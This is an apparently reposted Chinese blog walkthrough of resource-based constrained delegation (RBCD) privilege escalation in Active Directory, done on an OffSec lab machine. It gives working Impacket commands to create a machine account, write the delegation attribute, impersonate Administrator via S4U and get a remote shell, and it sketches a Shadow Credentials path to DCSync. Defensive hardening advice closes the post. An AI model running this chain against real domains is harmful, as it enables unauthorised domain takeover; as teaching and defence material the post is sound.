文章总结： 本文详细介绍了AD域渗透中基于资源的约束委派RBCD攻击技术。核心是利用普通域用户可创建机器账号的权限SeMachineAccountPrivilege以及对目标机器对象的写权限如GenericAll，通过修改目标机器对象的msDS-AllowedToActOnBehalfOfOtherIdentity属性，使可控机器账号能代表高权限用户请求Kerberos服务票据，最终实现域内提权。文章提供了完整的攻击链路、操作命令及防御建议。 综合评分： 89 文章分类： 渗透测试,红队,内网渗透,漏洞分析,安全建设

---

AD 委派攻击之基于资源的约束委派RBCD（：一次域内提权链路拆解

原创

网安布道师 网安布道师

六边形攻防安全

2026年7月3日 08:50 河北

在小说阅读器读本章

去阅读

前面已经介绍过约束和非约束委派攻击，今天来一起学习基于资源的约束委派，在 AD 域渗透里，RBCD 是一条非常经典的提权路线。它经常出现在这样的场景中：

普通域用户不是管理员但是可以创建机器账号并且对某台目标机器对象拥有写权限

比如本次场景中，用户 L.Livingstone 不是管理员，但存在两个关键点：

SeMachineAccountPrivilege    Add workstations to domainGenericAll                   对 RESOURCEDC$ 机器对象完全控制

这就构成了典型的 RBCD 利用条件。

RBCD 是什么

RBCD 全称是：

Resource-Based Constrained Delegation

中文一般叫：

基于资源的约束委派

它和传统约束委派的区别在于：传统约束委派通常是“服务账号声明自己可以委派到哪些服务”；而 RBCD 是“资源端自己声明允许哪些账号代表用户访问我”。

这个“资源端声明”的配置保存在目标机器对象的属性中：

msDS-AllowedToActOnBehalfOfOtherIdentity

如果目标机器 RESOURCEDC$ 的这个属性里写入了 ATTACK$ 的 SID，就表示：

ATTACK$ 可以代表其他用户访问 RESOURCEDC$

接下来攻击者就可以利用 Kerberos S4U 流程，伪造成高权限用户访问目标机器上的服务。

SeMachineAccountPrivilege 的作用

SeMachineAccountPrivilege 的描述是：

Add workstations to domain

也就是“向域中添加工作站”的权限。

默认情况下，普通域用户通常可以创建一定数量的机器账号。这个数量由域属性控制：

ms-DS-MachineAccountQuota

常见默认值是：

10

所以，一个普通域用户虽然不是管理员，但可能可以创建机器账号，例如：

ATTACK$

因为这个机器账号是我们创建的，所以我们知道它的密码。它就变成了一个“可控的服务主体”。

但要注意：能创建机器账号，不等于一定能 RBCD 提权

RBCD 还需要第二个条件：能够修改目标机器对象的 RBCD 属性。

什么时候存在 RBCD 可利用条件

判断是否能利用 RBCD，主要看三件事：

1. 是否有一个可控账号或机器账号2. 是否能写目标机器对象的 msDS-AllowedToActOnBehalfOfOtherIdentity3. 是否能通过 Kerberos S4U 拿到目标服务票据

常见可利用权限包括：

GenericAllGenericWriteWriteDACLWriteOwnerWritePropertyAddAllowedToAct

其中，GenericAll 是非常高危的权限。它表示当前主体对目标对象拥有完全控制能力。

如果 BloodHound 中出现：

L.Livingstone -- GenericAll --> RESOURCEDC$

这就说明 L.Livingstone 可以修改 RESOURCEDC$ 这个机器对象的属性，包括 RBCD 相关属性。

BloodHound 中 L.Livingstone 对 RESOURCEDC$ 拥有 GenericAll

为什么 GenericAll 到域控机器对象很危险

这里容易有一个误区：

GenericAll on RESOURCEDC$

不等于：

当前用户已经是 RESOURCEDC 的本地管理员

它控制的是 AD 中的机器对象，而不是直接控制操作系统上的管理员组。

但机器对象是 Kerberos 认证体系中的重要主体。只要能控制它的关键属性，就可以把 AD 对象权限转换成 Kerberos 票据能力。

常见利用方式包括：

RBCDShadow Credentials重置机器账号密码修改对象 ACL

其中 RBCD 是最常用、最稳定、破坏性相对较低的一条路线。

RBCD 攻击链路

完整链路如下：

L.Livingstone  -> 拥有 SeMachineAccountPrivilege  -> 创建 ATTACK$ 机器账号  -> 拥有 RESOURCEDC$ 的 GenericAll  -> 修改 RESOURCEDC$ 的 RBCD 属性  -> 允许 ATTACK$ 代表用户访问 RESOURCEDC$  -> 使用 ATTACK$ 执行 S4U2Self / S4U2Proxy  -> 伪造成 Administrator 请求服务票据  -> 使用票据访问 RESOURCEDC$

第一步：确认当前用户权限

在 Windows 上可以执行whoami /all：

重点关注：

SeMachineAccountPrivilege    Add workstations to domain    Enabled

如果存在这个权限，说明当前用户可以添加机器账号。

同时也要看当前用户是否只是普通用户。例如：

BUILTIN\Remote Management UsersBUILTIN\Users

这类权限只说明可以远程登录或普通访问，不代表已经是管理员。

whoami /all 显示当前用户权限与组信息

第二步：创建可控机器账号

使用 Impacket 添加机器账号：

impacket-addcomputer \  -computer-name 'ATTACK$' \  -computer-pass 'AttackPass123!' \  -dc-ip 192.168.205.175 \  -hashes ':19a3a7550ce8c505c2d46b5e39d6f808' \  'resourced.local/L.Livingstone'

成功后会看到输出：

这里的 ATTACK$ 就是我们后续用于委派的可控机器账号。

第三步：写入 RBCD

如果 L.Livingstone 对 RESOURCEDC$ 有 GenericAll，就可以把 ATTACK$ 写入目标机器对象的 RBCD 属性。

命令如下：

impacket-rbcd \  -delegate-from 'ATTACK$' \  -delegate-to 'RESOURCEDC$' \  -action write \  -dc-ip 192.168.205.175 \  -hashes ':19a3a7550ce8c505c2d46b5e39d6f808' \  'resourced.local/L.Livingstone'

写入后可以读取确认：

impacket-rbcd \  -action read \  -delegate-to 'RESOURCEDC$' \  -dc-ip 192.168.147.175 \  -hashes ':19a3a7550ce8c505c2d46b5e39d6f808' \  'resourced.local/L.Livingstone'

可以看到 RBCD 已经写成功。

第四步：申请伪造用户的服务票据

接下来使用 ATTACK$ 的密码，通过 Kerberos S4U 流程申请目标服务票据。

例如伪造成 Administrator 访问 RESOURCEDC 的 CIFS 服务：

impacket-getST \-spn cifs/ResourceDC.resourced.local \-impersonate Administrator \-dc-ip 192.168.205.175 \'resourced.local/ATTACK$:AttackPass123!'

成功后会生成一个 .ccache 文件

导入票据：

export KRB5CCNAME=Administrator@[email protected]

然后使用 Kerberos 访问目标：

impacket-psexec -k -no-pass RESOURCEDC.resourced.local

或者：

impacket-smbexec -k -no-pass RESOURCEDC.resourced.local

如果 DNS 解析不稳定，可以在 Kali 上添加 hosts：

echo '192.168.147.175 RESOURCEDC.resourced.local RESOURCEDC resourced.local' | sudo tee -a /etc/hosts

Kerberos 中实际发生了什么

RBCD 利用中主要涉及两个 S4U 阶段。

第一步是 S4U2Self：

ATTACK$ 请求一个“Administrator 到 ATTACK$ 自己”的票据

第二步是 S4U2Proxy：

ATTACK$ 使用上一步票据，请求“Administrator 到 RESOURCEDC 指定服务”的票据

由于 RESOURCEDC$ 已经在 RBCD 属性中信任 ATTACK$，KDC 会允许这个代理请求。

最终攻击者拿到的是：

Administrator -> cifs/RESOURCEDC.resourced.local

的服务票据。这也是为什么写入 RBCD 后，可以通过 Kerberos 访问目标服务。

如何判断是否已经存在 RBCD 配置

最直接的方法是读取目标机器对象的 RBCD 属性：

impacket-rbcd \  -action read \  -delegate-to 'RESOURCEDC$' \  -dc-ip 192.168.147.175 \  -hashes ':19a3a7550ce8c505c2d46b5e39d6f808' \  'resourced.local/L.Livingstone'

如果输出中存在自己控制的账号，例如：ATTACK$说明已经可以继续申请服务票据。

但如果读取结果为空，也不代表没有 RBCD 漏洞。因为很多时候漏洞点不是“已经配置了 RBCD”，而是“你有权限写入 RBCD”。

所以还需要看 ACL。

BloodHound 中重点关注这些边：

GenericAllGenericWriteWriteDaclWriteOwnerAddAllowedToAct

如果当前用户到目标机器对象存在这些关系，就可能写入 RBCD。

常见坑：DNS 与 BloodHound 采集失败

BloodHound CE Python 或 SharpHound 都依赖域信息解析。它们可能会查询 AD SRV 记录，例如：

_ldap._tcp.resourced.local_ldap._tcp.dc._msdcs.resourced.local

如果 DNS 配置异常，可能出现：

DNS operation timed outSERVFAILUnable to get domain object for further strategies

排查命令：

dig @192.168.147.175 _ldap._tcp.resourced.local SRVdig +tcp @192.168.147.175 _ldap._tcp.resourced.local SRVnmap -Pn -sT -p 53 192.168.147.175nmap -Pn -sU -p 53 192.168.147.175

如果 BloodHound 采集失败，但 Impacket LDAP 工具能正常读写 RBCD，那说明核心利用链仍然可以继续，不必卡死在 BloodHound 上。

RBCD 与 Shadow Credentials 的区别

当用户对机器对象有 GenericAll 时，除了 RBCD，还可能尝试 Shadow Credentials。

Shadow Credentials 的核心是写入：

msDS-KeyCredentialLink

然后通过证书和 PKINIT 获取目标账号的 TGT 或 NT hash。

大致链路是：

GenericAll on RESOURCEDC$-> 写 msDS-KeyCredentialLink-> PKINIT 获取 RESOURCEDC$ 凭据-> 使用 DC 机器账号执行 DCSync

但是它依赖环境支持 PKINIT。如果遇到：

KDC_ERR_PADATA_TYPE_NOSUPP

说明这条路线不可用。

相比之下，RBCD 在这个场景中通常更稳定。

为什么不推荐重置域控机器账号密码

有 GenericAll 理论上可以修改 RESOURCEDC$ 的机器账号密码。比如Zerologon漏洞的利用就会把域控机器账户密码重置为空密码或已知值。

但这类操作风险非常高：

可能破坏域控机器账号信任可能影响 Kerberos可能影响复制可能导致域控异常

在真实环境中不应轻易尝试。在靶场中也建议优先使用 RBCD 或 Shadow Credentials 这类更可控的方式。

防御建议

从防守角度看，RBCD 提权通常暴露出两类问题：

普通用户可以创建机器账号高价值机器对象 ACL 配置过宽

建议检查并加固以下内容：

1. 将 ms-DS-MachineAccountQuota 调整为 0 或合理值2. 审计域控、服务器机器对象上的 GenericAll / GenericWrite / WriteDACL / WriteOwner3. 监控 msDS-AllowedToActOnBehalfOfOtherIdentity 的变更4. 监控异常机器账号创建事件5. 定期使用 BloodHound 审计高危 ACL 路径

常见监控点包括：

机器账号创建目标机器对象 RBCD 属性变更异常 S4U2Proxy 请求低权限用户修改高价值对象 ACL

总结

这条链路的关键不是 SeMachineAccountPrivilege 直接提权，而是它提供了一个可控机器账号。

真正完成权限转换的是：

GenericAll on RESOURCEDC$-> 写入 RBCD-> Kerberos S4U 委派-> 获取高权限服务票据

所以可以把这类攻击记成一句话：

能创建机器账号 + 能写目标机器 RBCD 属性 = 可以尝试 RBCD 提权

在本场景中，L.Livingstone 同时具备：

SeMachineAccountPrivilegeGenericAll on RESOURCEDC$

因此 RBCD 是最直接、最稳定、最适合优先尝试的提权方式。

最后再简单总结一下三种委派：

| 类型 | 核心区别 | 主要权限 / 利用条件 | 常见利用方式 | 风险点 | | — | — | — | — | — | | 非约束委派 | 服务可获取访问者的 「TGT」，可代表用户访问任意服务 | SeEnableDelegationPrivilege服务/机器账号开启 TrustedForDelegation；攻击者控制该主机；高权限用户访问该服务 | 等待或诱导域管访问该主机，抓取 TGT，导入票据后横向访问 LDAP/CIFS/HOST 等服务 | 风险最大，容易拿到域管 TGT | | 约束委派 | 服务只能代表用户访问指定 SPN | 控制配置了约束委派的服务账号；目标 SPN 在 msDS-AllowedToDelegateTo 中 | 获取服务账号密码/Hash/AES Key，执行 S4U2Self + S4U2Proxy，冒充用户访问指定服务 | 范围受限，但拿到服务账号后可定向横向 | | RBCD | 由“目标资源”决定谁可代表用户访问自己 | 对目标机器账号有 GenericAll/GenericWrite/WriteDACL/WriteOwner 等写权限；或可创建机器账号并写入委派属性 | 写入 msDS-AllowedToActOnBehalfOfOtherIdentity，让攻击者控制的机器/服务账号可代理访问目标，再用 S4U 申请票据 | 隐蔽性较强，常用于机器账户接管和横向移动 |

文章中涉及到的RBCD提权环境靶场链接：

https://portal.offsec.com/machine/resourced-36043/overview/details

---

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：六边形攻防安全 网安布道师 网安布道师《AD 委派攻击之基于资源的约束委派RBCD（：一次域内提权链路拆解》